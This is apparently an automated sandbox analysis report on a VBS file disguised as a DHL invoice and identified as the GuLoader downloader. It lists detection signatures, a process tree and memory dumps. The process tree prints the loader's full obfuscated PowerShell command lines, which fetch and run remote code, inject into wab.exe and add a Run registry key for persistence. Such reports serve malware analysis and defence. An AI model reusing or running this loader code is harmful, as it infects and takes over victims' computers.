Analysis
- max time kernel
74s - max time network
110s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
29/03/2024, 07:30
General
- Target DHL INVOICE DOCUMENT NOTIFICATION 202403286777373688_pdf.vbs
- Size 13KB
- Sample240329-jbvgaacd4z
- SHA256 cd6da022c8b2ab80d081be47fd73c588baaa2dff06acabc1a3e681fe1fdc800c
Malware Config
Signatures
- Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- Blocklisted process makes network request 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- UPX packed file 1 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry key 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 16 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DHL INVOICE DOCUMENT NOTIFICATION 202403286777373688_pdf.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "++$Markedskrfternes;++$Markedskrfternes;$Markedskrfternes=$Markedskrfternes-1;Function Parableptic ($confirmor){$Oplivningens=5;$Oplivningens++;For($Fuslens=5; $Fuslens -lt $confirmor.Length-1; $Fuslens+=$Oplivningens){$Blepharoceridae = 'substring';$Udenretsliges=$confirmor.$Blepharoceridae.Invoke($Fuslens, 1);$Ungdomsforsorgens=$Ungdomsforsorgens+$Udenretsliges}$Ungdomsforsorgens;}$Desocialize=Parableptic 'SnakehAdv.rtgen etOmganpnedgasEgenk:Sessi/Frott/Anderw MushwCardiwSnork.Ny.rdj Smi.oMellenCampagPatrizK.elmeFo,nalKiro.f Musls AntitHeadlaT.lvsnHjlpedSeriniBopyrg D ff.Findyn StealDolic/T,alvw Tom pNgste-SofacaLonnydLevitmSmitti Sam,n Arbi/FjernI P.stnGam.ec Urt l ,trio SentsKuvere Ma cr Tot.5Slagl8.verg.Vi,tet ndktYelpifMerul ';$Methamphetamine=$Desocialize.split([char]62);$Desocialize=$Methamphetamine[0];$Twiglet=Parableptic 'KvaliitidviePs.phx Folk ';$Kontaktcentrene = Parableptic ',trup\M.nicsSagsayZingesAntilwRoyaloForlawSamvr6Ordin4Sonor\HinknW Meagi SamonSymptd VlgeoPa.tlwHovedsBallaPFinlaoInte.wGe eieSuprarSki.fS .ondhvindseTromplHovedlSpalt\Klimav Homo1 bstr.Kondi0 Span\Showmp SkoaoReprewt.rrae C,emr Plucsbiog.h Sofaeholdnl PulplPoe i. Ptere ,eywxE.ikneLogoe ';&($Twiglet) (Parableptic 'Unver$InstrOLoyalmGrinnbUflytrInaf iTransn PencgGarneeBrandlUnarts MelaeamforrRaths1 uper3Samst1Conte=engle$Daavie SkinnGrundv Unfe: PerfwRododib,gtenDi endSuppliUhe drHippo ') ;&($Twiglet) (Parableptic ' Kvad$CaterK ForhoPuttenskudetEvapoaSynsvkTvangtNitrocBandseStopbnDisast Gen.rFlyveeRegnenClammeMy.hi=Kist.$RvrenOTypeemTr,dib OpdarBiplai,tywanN.mmegBereaePackelWoo,osBlosseKtererAandi1Prais3Mell.1Snagg+Overs$H,rloK.ncreoAnkylnSd imtWaegma Fag.k Fdevt etalc,tipie Hu.kn I.trtByggerUndu,efirman U,bieParc. ') ;&($Twiglet) (Parableptic ' Comm$EchinZPercoi Bog,nFunk.yStablaSenammDiaz.u oronReflagApotea ubca Udbr=Saddi Daff,(Ope a(,onetgBlusswIglopmIdealiKlang Estraw PerliReplanFulmi3Kir e2Hyste_V.getpRedoirSvigeoIn,agcS,vraeInforsRr oss H.id Affla-OdyssFMetis ,rgufPtindirSickeoUndercJordreLudfasSta,ssRu,dvIB secdDeemp=Hyper$Conce{SkrifPMonetIchaloDO,bun}Sageb)Afve..LitteCPi.laoDumbamSkabemMunduaAkacinUndisdArchiLRepiniLe.conAktore.etap)R tsa Casu.- To csEa,unpA tral AbbeiPlexotSha.b Raast[DetaccSlibnhRetroaDemirrRippl]L,efa3 Mega4 Nons ');&($Twiglet) (Parableptic 'Salgs$ MisfYRejfsoPa,errSkiftkBagls Spavi= orn Tal.s$FrugtZF,mlei Zanyn,nwanyM,gtsaImmunm DeutuUdbren In,egRetroaKla,v[Sabel$R ppeZLageribalann AlleyJuxtaaEmf smProtau Gru nHelbrg HvidaMammo.DiplocpeaceoM.niguKleonnh mmetCarpe-Ordri2 Rab.] Ele ');&($Twiglet) (Parableptic ' Tatt$Unkn.RStri.eLejevsSaloppDar.se,reelk,nemot,illae L,nkrcatvie Mira=Sprin( .hriTCon oeSemicsKartotDuene- CurfPAf rdaBismatFrednhSanas Skov$SkjolKD,uteoSandenVidert,rnehaAdv nk ropit StetcV vise.ajetn Re utFolkerDramaePaa,anDe yle Afsy) Tu.t Rork-Curt.AAutodnNo,sudArkiv Nonpr(S.bte[UnderI.ingcnKonfitAutobP Am ttLeksir,verc] Win :Otoli:ForrusB.andiSt,llzGr mme Seng Silde-KnogleGen,eqAfvnn Haan8 P le) Ne.n ') ;if ($Respektere) {.$Kontaktcentrene $York;} else {;$Gaspatronen=Parableptic 'HonteS etalt Renoa Pet,r,uffetCousi-EmptyB P stiAscertUd,oes Sva.TTorecrDisacaVer,fnNondes RundfBetvie,egemrSojak Sorbo- deliS Borso,enteumixedrpensicForb.e Obd, Resun$ WelwDr.caleG.tgis eddoTowawcSm.driJe.unaB,cobldookeiSynanz DelaeBo,hv rin-RustvDFot,ae BearsFeinstShouli LaddnIncesa UtrstAforiiAdmiro NuminA sis Karel$UnegoOCinerm,pitkbHaandr .vliidrumrnma,ulgPachyeUnpurl unm sFordyemin erIngen1Flosk3Stikk1Sawmi ';&($Twiglet) (Parableptic 'Adj,d$ ertaOEigilmcossebAnnalrBrahmiSu prn Capogtele.eFdevalAparas Twite FinarSubs 1 Midd3Progn1O.ych= Prot$ForsyeUngpinA retvWiens: InpaaChirop Ot lp Ph ndVkstpaSaltotTuberaChevy ') ;&($Twiglet) (Parableptic 'AfstbIP,rkemKernepDinicoPr,lorO.tretsol,e- TalkMl,steoOlderdBasecu J cal DepreKrsel indbuB B,ndiPinnotCraresReartTBelemr Dag,aCo lanJoggisXant,fPar,eeLadegr Piet ') ;$Ombringelser131=$Ombringelser131+'\Fedtene.Sen';while (-not $Omfordeler) {&($Twiglet) (Parableptic ',ewed$ U.deORavenmFeriefTentaoPiggirUnsetdMar,yeSy.ehlFritieD ucerFane.=Impli(BabasT.isgueSteffs Atmot Skil-Laka.PDocumaLsesutU,esehletla Over$Fret.O .hirmKludebFrigrrdeaktiMadrin Appeg posteLindhlGlobusSaddeeHavner G,an1 efo3Unsqu1A.gui)Akkum ') ;&($Twiglet) $Gaspatronen;&($Twiglet) (Parableptic 'd.ollS.aafutbrdbiaginger Frd tBab.l-SoldaS Ana,lDkrfoeBarbeeHaevdp Stam r ads5A.ton ');$Desocialize=$Methamphetamine[$theogonies++%$Methamphetamine.count];}&($Twiglet) (Parableptic 'pliss$Delp PSociarUnderoBegmnpImperr Nongi AntieChauktEk.parE soieAlcovsFo,pusHex seSidebsCoexe Octil= Vels TomogGKar.feSarcotPunki-Nonv,CClocko D apnHirpltBa dee S,utnFllestveget rast$Pat,eO Sha.m FangbKilorrUnph.is.alenRabbigE,bjeeRen,klShopmsGdanneEthmor Publ1Shadf3Fravn1 Vind ');&($Twiglet) (Parableptic 'Succu$BelavSMalero I splAlgepdabb.siAbodeeT,lrirslutolPelsdi KefsnUrmageZym,gsS,oggs edn1Sli,s1 Ka.k2Indiv ,isst=Revis Indt[CompoS PoroyMoonbsPropptA,opyeBeredmPu,re.PhrenCDellaoTransnSkonsvIdolieVanadr OmdbtBray,]T,ach:.verw:LrerkFCentrrMelleoDdbidmH,steBDedola Kal,s DrnleStran6 Doed4Unp.oSSegmet SpilrGenkeinedstnReitegKonta(.vers$ChailPJ,hnyrOpsl.oValglp PerlrPrel.ipita e OuthtBorisrLsepreIdylls ostes AlkaeBoligsRegim) Hack ');&($Twiglet) (Parableptic ' argu$ParagSLimpla ,ystrTeoresTenore dtrynTikros luig Wodel=,verg Sk.le[Sla,tSSpermyTomhos Antit poroeRol.om Thel.DacoiTSkglae B,ydxRimedt Land.DragmEKissenvremacJovanoOver.dmissiiE pecntoymagtruan]E.hoi:Antik:RabatAPu,liS Gu,mCFirhjI DualI ,mag.DeproGLithoe KlontEjerpS LivstTtp krTmniniPietinMa lagConel(Plyn,$EkspoSForjaoTogollDatasdK,kaiiPseudeForter kultl PoloiBrdrenPatteeScoutsSubg,s ,old1Udski1Pessc2Rejem)Nitte ');&($Twiglet) (Parableptic 'Ruski$HygieS UndeaT.verrElefamClubmaCirkutR.taniRedakcPomac=Opdag$DyrknSTusinaAccourDyeles K,neeEnchonPlacks,ygni. Atoms,overubiliabH vfrsSt.ndtRobusr GraniBrnden Ps.ugRefin(Utopi3 Kl,n2Verb,5.esba2.edun4Cruz.8Stand,Indif2 Twiz6S nma9Mithr4Try p8 Gang)Bagst ');&($Twiglet) $Sarmatic;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "++$Markedskrfternes;++$Markedskrfternes;$Markedskrfternes=$Markedskrfternes-1;Function Parableptic ($confirmor){$Oplivningens=5;$Oplivningens++;For($Fuslens=5; $Fuslens -lt $confirmor.Length-1; $Fuslens+=$Oplivningens){$Blepharoceridae = 'substring';$Udenretsliges=$confirmor.$Blepharoceridae.Invoke($Fuslens, 1);$Ungdomsforsorgens=$Ungdomsforsorgens+$Udenretsliges}$Ungdomsforsorgens;}$Desocialize=Parableptic 'SnakehAdv.rtgen etOmganpnedgasEgenk:Sessi/Frott/Anderw MushwCardiwSnork.Ny.rdj Smi.oMellenCampagPatrizK.elmeFo,nalKiro.f Musls AntitHeadlaT.lvsnHjlpedSeriniBopyrg D ff.Findyn StealDolic/T,alvw Tom pNgste-SofacaLonnydLevitmSmitti Sam,n Arbi/FjernI P.stnGam.ec Urt l ,trio SentsKuvere Ma cr Tot.5Slagl8.verg.Vi,tet ndktYelpifMerul ';$Methamphetamine=$Desocialize.split([char]62);$Desocialize=$Methamphetamine[0];$Twiglet=Parableptic 'KvaliitidviePs.phx Folk ';$Kontaktcentrene = Parableptic ',trup\M.nicsSagsayZingesAntilwRoyaloForlawSamvr6Ordin4Sonor\HinknW Meagi SamonSymptd VlgeoPa.tlwHovedsBallaPFinlaoInte.wGe eieSuprarSki.fS .ondhvindseTromplHovedlSpalt\Klimav Homo1 bstr.Kondi0 Span\Showmp SkoaoReprewt.rrae C,emr Plucsbiog.h Sofaeholdnl PulplPoe i. Ptere ,eywxE.ikneLogoe ';&($Twiglet) (Parableptic 'Unver$InstrOLoyalmGrinnbUflytrInaf iTransn PencgGarneeBrandlUnarts MelaeamforrRaths1 uper3Samst1Conte=engle$Daavie SkinnGrundv Unfe: PerfwRododib,gtenDi endSuppliUhe drHippo ') ;&($Twiglet) (Parableptic ' Kvad$CaterK ForhoPuttenskudetEvapoaSynsvkTvangtNitrocBandseStopbnDisast Gen.rFlyveeRegnenClammeMy.hi=Kist.$RvrenOTypeemTr,dib OpdarBiplai,tywanN.mmegBereaePackelWoo,osBlosseKtererAandi1Prais3Mell.1Snagg+Overs$H,rloK.ncreoAnkylnSd imtWaegma Fag.k Fdevt etalc,tipie Hu.kn I.trtByggerUndu,efirman U,bieParc. ') ;&($Twiglet) (Parableptic ' Comm$EchinZPercoi Bog,nFunk.yStablaSenammDiaz.u oronReflagApotea ubca Udbr=Saddi Daff,(Ope a(,onetgBlusswIglopmIdealiKlang Estraw PerliReplanFulmi3Kir e2Hyste_V.getpRedoirSvigeoIn,agcS,vraeInforsRr oss H.id Affla-OdyssFMetis ,rgufPtindirSickeoUndercJordreLudfasSta,ssRu,dvIB secdDeemp=Hyper$Conce{SkrifPMonetIchaloDO,bun}Sageb)Afve..LitteCPi.laoDumbamSkabemMunduaAkacinUndisdArchiLRepiniLe.conAktore.etap)R tsa Casu.- To csEa,unpA tral AbbeiPlexotSha.b Raast[DetaccSlibnhRetroaDemirrRippl]L,efa3 Mega4 Nons ');&($Twiglet) (Parableptic 'Salgs$ MisfYRejfsoPa,errSkiftkBagls Spavi= orn Tal.s$FrugtZF,mlei Zanyn,nwanyM,gtsaImmunm DeutuUdbren In,egRetroaKla,v[Sabel$R ppeZLageribalann AlleyJuxtaaEmf smProtau Gru nHelbrg HvidaMammo.DiplocpeaceoM.niguKleonnh mmetCarpe-Ordri2 Rab.] Ele ');&($Twiglet) (Parableptic ' Tatt$Unkn.RStri.eLejevsSaloppDar.se,reelk,nemot,illae L,nkrcatvie Mira=Sprin( .hriTCon oeSemicsKartotDuene- CurfPAf rdaBismatFrednhSanas Skov$SkjolKD,uteoSandenVidert,rnehaAdv nk ropit StetcV vise.ajetn Re utFolkerDramaePaa,anDe yle Afsy) Tu.t Rork-Curt.AAutodnNo,sudArkiv Nonpr(S.bte[UnderI.ingcnKonfitAutobP Am ttLeksir,verc] Win :Otoli:ForrusB.andiSt,llzGr mme Seng Silde-KnogleGen,eqAfvnn Haan8 P le) Ne.n ') ;if ($Respektere) {.$Kontaktcentrene $York;} else {;$Gaspatronen=Parableptic 'HonteS etalt Renoa Pet,r,uffetCousi-EmptyB P stiAscertUd,oes Sva.TTorecrDisacaVer,fnNondes RundfBetvie,egemrSojak Sorbo- deliS Borso,enteumixedrpensicForb.e Obd, Resun$ WelwDr.caleG.tgis eddoTowawcSm.driJe.unaB,cobldookeiSynanz DelaeBo,hv rin-RustvDFot,ae BearsFeinstShouli LaddnIncesa UtrstAforiiAdmiro NuminA sis Karel$UnegoOCinerm,pitkbHaandr .vliidrumrnma,ulgPachyeUnpurl unm sFordyemin erIngen1Flosk3Stikk1Sawmi ';&($Twiglet) (Parableptic 'Adj,d$ ertaOEigilmcossebAnnalrBrahmiSu prn Capogtele.eFdevalAparas Twite FinarSubs 1 Midd3Progn1O.ych= Prot$ForsyeUngpinA retvWiens: InpaaChirop Ot lp Ph ndVkstpaSaltotTuberaChevy ') ;&($Twiglet) (Parableptic 'AfstbIP,rkemKernepDinicoPr,lorO.tretsol,e- TalkMl,steoOlderdBasecu J cal DepreKrsel indbuB B,ndiPinnotCraresReartTBelemr Dag,aCo lanJoggisXant,fPar,eeLadegr Piet ') ;$Ombringelser131=$Ombringelser131+'\Fedtene.Sen';while (-not $Omfordeler) {&($Twiglet) (Parableptic ',ewed$ U.deORavenmFeriefTentaoPiggirUnsetdMar,yeSy.ehlFritieD ucerFane.=Impli(BabasT.isgueSteffs Atmot Skil-Laka.PDocumaLsesutU,esehletla Over$Fret.O .hirmKludebFrigrrdeaktiMadrin Appeg posteLindhlGlobusSaddeeHavner G,an1 efo3Unsqu1A.gui)Akkum ') ;&($Twiglet) $Gaspatronen;&($Twiglet) (Parableptic 'd.ollS.aafutbrdbiaginger Frd tBab.l-SoldaS Ana,lDkrfoeBarbeeHaevdp Stam r ads5A.ton ');$Desocialize=$Methamphetamine[$theogonies++%$Methamphetamine.count];}&($Twiglet) (Parableptic 'pliss$Delp PSociarUnderoBegmnpImperr Nongi AntieChauktEk.parE soieAlcovsFo,pusHex seSidebsCoexe Octil= Vels TomogGKar.feSarcotPunki-Nonv,CClocko D apnHirpltBa dee S,utnFllestveget rast$Pat,eO Sha.m FangbKilorrUnph.is.alenRabbigE,bjeeRen,klShopmsGdanneEthmor Publ1Shadf3Fravn1 Vind ');&($Twiglet) (Parableptic 'Succu$BelavSMalero I splAlgepdabb.siAbodeeT,lrirslutolPelsdi KefsnUrmageZym,gsS,oggs edn1Sli,s1 Ka.k2Indiv ,isst=Revis Indt[CompoS PoroyMoonbsPropptA,opyeBeredmPu,re.PhrenCDellaoTransnSkonsvIdolieVanadr OmdbtBray,]T,ach:.verw:LrerkFCentrrMelleoDdbidmH,steBDedola Kal,s DrnleStran6 Doed4Unp.oSSegmet SpilrGenkeinedstnReitegKonta(.vers$ChailPJ,hnyrOpsl.oValglp PerlrPrel.ipita e OuthtBorisrLsepreIdylls ostes AlkaeBoligsRegim) Hack ');&($Twiglet) (Parableptic ' argu$ParagSLimpla ,ystrTeoresTenore dtrynTikros luig Wodel=,verg Sk.le[Sla,tSSpermyTomhos Antit poroeRol.om Thel.DacoiTSkglae B,ydxRimedt Land.DragmEKissenvremacJovanoOver.dmissiiE pecntoymagtruan]E.hoi:Antik:RabatAPu,liS Gu,mCFirhjI DualI ,mag.DeproGLithoe KlontEjerpS LivstTtp krTmniniPietinMa lagConel(Plyn,$EkspoSForjaoTogollDatasdK,kaiiPseudeForter kultl PoloiBrdrenPatteeScoutsSubg,s ,old1Udski1Pessc2Rejem)Nitte ');&($Twiglet) (Parableptic 'Ruski$HygieS UndeaT.verrElefamClubmaCirkutR.taniRedakcPomac=Opdag$DyrknSTusinaAccourDyeles K,neeEnchonPlacks,ygni. Atoms,overubiliabH vfrsSt.ndtRobusr GraniBrnden Ps.ugRefin(Utopi3 Kl,n2Verb,5.esba2.edun4Cruz.8Stand,Indif2 Twiz6S nma9Mithr4Try p8 Gang)Bagst ');&($Twiglet) $Sarmatic;}"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Reportorial" /t REG_EXPAND_SZ /d "%Dyrkelsens% -w 1 $Real=(Get-ItemProperty -Path 'HKCU:\Uncharacteristically\').Carpocerite;%Dyrkelsens% ($Real)"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Reportorial" /t REG_EXPAND_SZ /d "%Dyrkelsens% -w 1 $Real=(Get-ItemProperty -Path 'HKCU:\Uncharacteristically\').Carpocerite;%Dyrkelsens% ($Real)"6⤵
- Adds Run key to start application
- Modifies registry key
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_ltezdter.rfc.ps1
memory/1824-39-0x0000000006760000-0x000000000677A000-memory.dmp
memory/1824-46-0x00000000747C0000-0x0000000074F70000-memory.dmp
memory/1824-18-0x0000000002880000-0x00000000028B6000-memory.dmp
memory/1824-20-0x00000000029B0000-0x00000000029C0000-memory.dmp
memory/1824-21-0x00000000053B0000-0x00000000059D8000-memory.dmp
memory/1824-22-0x00000000052B0000-0x00000000052D2000-memory.dmp
memory/1824-23-0x0000000005A90000-0x0000000005AF6000-memory.dmp
memory/1824-24-0x0000000005B00000-0x0000000005B66000-memory.dmp
memory/1824-34-0x0000000005B70000-0x0000000005EC4000-memory.dmp
memory/1824-35-0x0000000006190000-0x00000000061AE000-memory.dmp
memory/1824-36-0x00000000061C0000-0x000000000620C000-memory.dmp
memory/1824-37-0x00000000029B0000-0x00000000029C0000-memory.dmp
memory/1824-38-0x0000000007940000-0x0000000007FBA000-memory.dmp
memory/1824-53-0x00000000771E1000-0x0000000077301000-memory.dmp
memory/1824-19-0x00000000029B0000-0x00000000029C0000-memory.dmp
memory/1824-42-0x0000000008570000-0x0000000008B14000-memory.dmp
memory/1824-40-0x00000000071F0000-0x0000000007286000-memory.dmp
memory/1824-43-0x0000000007770000-0x0000000007792000-memory.dmp
memory/1824-44-0x0000000007800000-0x0000000007814000-memory.dmp
memory/1824-41-0x0000000007180000-0x00000000071A2000-memory.dmp
memory/1824-73-0x0000000008B20000-0x000000000958D000-memory.dmp
memory/1824-69-0x00000000747C0000-0x0000000074F70000-memory.dmp
memory/1824-17-0x00000000747C0000-0x0000000074F70000-memory.dmp
memory/1824-55-0x0000000008B20000-0x000000000958D000-memory.dmp
memory/1824-48-0x00000000029B0000-0x00000000029C0000-memory.dmp
memory/1824-49-0x0000000007870000-0x0000000007871000-memory.dmp
memory/1824-50-0x0000000008B20000-0x000000000958D000-memory.dmp
memory/1824-51-0x00000000029B0000-0x00000000029C0000-memory.dmp
memory/1824-52-0x0000000008B20000-0x000000000958D000-memory.dmp
memory/3004-56-0x00000000771E1000-0x0000000077301000-memory.dmp
memory/3004-88-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-98-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-57-0x0000000077268000-0x0000000077269000-memory.dmp
memory/3004-94-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-64-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-65-0x00000000771E1000-0x0000000077301000-memory.dmp
memory/3004-66-0x0000000000C00000-0x000000000166D000-memory.dmp
memory/3004-67-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-68-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-96-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-71-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-70-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-95-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-72-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-74-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-75-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-76-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-77-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-78-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-79-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-80-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-83-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-84-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-85-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-87-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-93-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-92-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-54-0x0000000000C00000-0x000000000166D000-memory.dmp
memory/3004-89-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-90-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3004-91-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/4580-86-0x00007FFD227E0000-0x00007FFD232A1000-memory.dmp
memory/4580-45-0x00007FFD227E0000-0x00007FFD232A1000-memory.dmp
memory/4580-9-0x0000013DEDAF0000-0x0000013DEDB12000-memory.dmp
memory/4580-14-0x00007FFD227E0000-0x00007FFD232A1000-memory.dmp
memory/4580-15-0x0000013DEB340000-0x0000013DEB350000-memory.dmp
memory/4580-16-0x0000013DEB340000-0x0000013DEB350000-memory.dmp